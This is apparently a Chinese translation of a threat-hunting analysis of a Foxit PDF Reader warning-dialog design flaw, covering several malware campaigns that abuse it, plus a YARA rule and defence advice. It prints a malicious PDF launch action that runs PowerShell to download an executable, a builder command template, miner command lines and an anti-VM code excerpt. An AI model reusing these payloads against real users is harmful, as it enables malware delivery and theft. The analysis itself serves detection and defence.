【翻译】威胁狩猎:福昕 PDF“设计缺陷”被大规模利用
字数 1916 2025-08-22 22:47:39
Foxit PDF Reader设计缺陷威胁狩猎技术分析
1. 漏洞概述
1.1 漏洞本质
Foxit PDF Reader中存在一个设计缺陷,允许攻击者通过精心构造的PDF文件诱使用户执行恶意命令。该漏洞并非传统意义上的代码执行漏洞,而是一种利用用户界面设计缺陷和用户习惯的社会工程学攻击。
1.2 影响范围
- 影响软件:Foxit PDF Reader
- 受影响用户:全球超过7亿用户,包括美国政府机构(空军、陆军、海军和导弹防御部)和大型科技公司(Google、Microsoft、Intel、Dell等)
- 检测率:由于大多数沙箱和防病毒解决方案主要针对Adobe Reader,此漏洞利用的检测率较低
2. 漏洞利用机制
2.1 攻击流程
- 用户打开恶意PDF文件
- Foxit Reader显示两个安全警告弹窗
- 用户习惯性点击"确定"按钮(默认选项)
- 恶意命令被执行
2.2 技术细节
恶意PDF文件利用以下PDF对象结构触发漏洞:
/OpenAction <<
/S /Launch
/Win <<
/F (CMD)
/P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://恶意URL\', \'payload.exe\')"'
>>
>>
关键PDF对象属性:
/OpenAction: 指定文档打开时自动执行的操作/S /Launch: 指示Foxit Reader启动外部应用程序/Win: 提供启动应用程序所需的信息/F和/P: 指定要执行的应用程序及其参数
2.3 用户界面设计缺陷
Foxit Reader的两个警告弹窗设计:
- 第一个弹窗:默认选项为"信任一次"(正确的安全实践)
- 第二个弹窗:默认选项为"打开"(危险选项)
用户通常会:
- 阅读第一个警告并点击"确定"
- 出于习惯,不仔细阅读第二个警告直接点击"确定"
3. 恶意活动案例分析
3.1 案例一:APT-C-35/DoNot Team的间谍活动
攻击链:
- 恶意PDF文件(军事主题诱饵)
- 下载并执行两个可执行文件
- 收集和上传各种文件(文档、图像、归档和数据库)
技术特点:
- 使用自定义字符串加密算法
- 通过%Appdata%/TestLog/目录收集和上传数据
- 同时感染Windows和Android设备(Rafel RAT)
- 可能具备双因素身份验证(2FA)绕过能力
持久化机制:
复制到%Appdata%/Intel/Mozilla/Systems.exe
创建注册表启动项:
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值:TailoredExperiencesWithDiagnosticDataEnabled
3.2 案例二:链式挖矿活动
攻击链:
- 恶意PDF文件(通过Facebook传播)
- 下载BAT脚本
- 下载Python环境
- 执行信息窃取和挖矿程序(XMRig和Lol Miner)
技术特点:
- 使用合法网站(sealingshop.click)托管恶意文件
- 通过Python脚本动态加载恶意代码
- 窃取Chrome和Edge浏览器的登录信息和cookies
- 使用GitLab托管挖矿程序
挖矿配置示例:
' XMRig Miner
"C:\\Users\\Public\\PublicAlbums\\xmrig.exe --donate-level 1 -o de.zephyr.herominers.com:1123 -u ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV -p workerbot -a rx/0 -k"
' Lol Miner
"C:\\Users\\Public\\PublicSounds\\lolMiner.exe --algo NEXA --pool stratum+ssl://nexapow.unmineable.com:4444 --user ZEPH:ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV --watchdog exit !EXTRAPARAMETERS!"
3.3 案例三:Blank-Grabber信息窃取
攻击特点:
- 使用Discord CDN托管恶意Python脚本
- 检测率极低的开源信息窃取程序
- 具备反虚拟机检测功能
- 使用UAC绕过技术
反虚拟机技术示例:
class VmProtect:
BLACKLISTED_UUIDS = ('7AB5C494-39F5-4941-9163-47F54D6D5016', ...)
BLACKLISTED_COMPUTERNAMES = ('bee7370c-8c0c-4', 'desktop-nakffmt', ...)
BLACKLISTED_USERS = ('wdagutilityaccount', 'abby', ...)
BLACKLISTED_TASKS = ('fakenet', 'dumpcap', 'wireshark', ...)
@staticmethod
def checkUUID() -> bool:
uuid = subprocess.run('wmic csproduct get uuid', shell=True, capture_output=True).stdout.splitlines()[2].decode(errors='ignore').strip()
return uuid in VmProtect.BLACKLISTED_UUIDS
# 其他检查方法...
3.4 案例四:Remcos RAT分发
复杂攻击链:
- 第一个PDF文件包含trello.com的恶意链接
- 下载第二个PDF文件
- 执行多个VBScript和HTA文件
- 最终注入Remcos RAT
技术特点:
- 使用DynamicWrapperX进行内存注入
- 多阶段载荷传递
- 使用合法网站(digitalmarketingstart.com)托管恶意文件
- C2服务器:139.99.85[.]106:2404
4. 漏洞利用构建器分析
4.1 Python构建器
- 使用模板替换技术生成恶意PDF
- 命令结构:
/F (CMD) /P ( /c cD %tEMP% & @echo powershell -Command "(New-Object Net.WebClient).DownloadFile('$URL', '$DROPPED_FILENAME.exe')" >> $BAT_FILENAME.bat & ... )
4.2 .NET构建器
常见变体:
- Avict Softwares I Exploit PDF
- PDF Exploit Builder 2023
- FuckCrypt
共同特点:
- 相似的代码结构
- 使用占位符替换技术(\(URL, \)DROPPED_FILENAME等)
- 生成VBScript或EXE文件
5. 检测与防御
5.1 YARA规则
rule exploit_foxit_pdf {
strings:
$pdf_header = "%PDF-"
$pdf_string1 = "/OpenAction"
$pdf_string2 = "/Launch"
$pdf_string3 = "/Win"
$command_string1 = "(CMD)" nocase
$command_string2 = "powershell" nocase
condition:
$pdf_header in (0..1024) and all of ($pdf_string*) and any of ($command_string*)
}
5.2 防御建议
- 用户教育:提高对非常规安全警告的警惕性
- 软件配置:在Foxit Reader中禁用自动执行功能
- 网络防护:监控和阻止可疑的PowerShell和CMD活动
- 终端防护:部署能够检测此类行为的EDR解决方案
- 补丁管理:关注Foxit Reader的更新,特别是版本3的发布
6. 结论
Foxit PDF Reader的这一设计缺陷被广泛利用,从普通网络犯罪到APT攻击都有涉及。攻击者利用大多数安全产品主要针对Adobe Reader的现状,使得此类攻击难以被检测。Foxit已承认此问题并计划在版本3中修复。在此期间,用户应保持高度警惕,避免习惯性点击安全警告。